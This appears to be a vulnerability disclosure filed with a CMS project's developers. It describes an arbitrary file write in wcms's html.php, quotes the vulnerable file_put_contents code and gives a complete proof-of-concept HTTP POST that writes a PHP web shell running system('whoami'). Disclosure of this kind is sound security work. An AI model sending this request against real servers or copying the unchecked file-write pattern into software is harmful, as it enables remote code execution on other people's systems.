Arbitrary file write vulnerability in /wcms/wex/html.php

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Hi, dev team! The code in this file is vulnerable: Arbitrary file write And execute the command through this file

Vulnerability discovery

Vulnerable code found on lines 20 to 23 in the /wcms/wex/html.php file

if (isset($_GET['finish'])) {
    $path = $_GET['finish'];
    file_put_contents($path, $_POST['textAreaCode']);

Since the finish variable of the GET request and the textAreaCode variable of the POST request are controllable, an attacker can use the file_put_contents function to write malicious code into a custom file

construct poc

Use controllable variables to write malicious code into the shell.php file in the current directory
The payload is as follows：

POST /wangmarket-master/wcms-0.3.2/wcms/wex/html.php?finish=shell.php HTTP/1.1
Host: 192.168.3.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=pdvblj8k9q6rin0oroe36m6s77
Upgrade-Insecure-Requests: 1
Content-Length: 36

textAreaCode=<?php system('whoami');?>

It can be seen that the write is successful

get shell

Access the written malicious file, find that the malicious code is successfully executed, and echo it out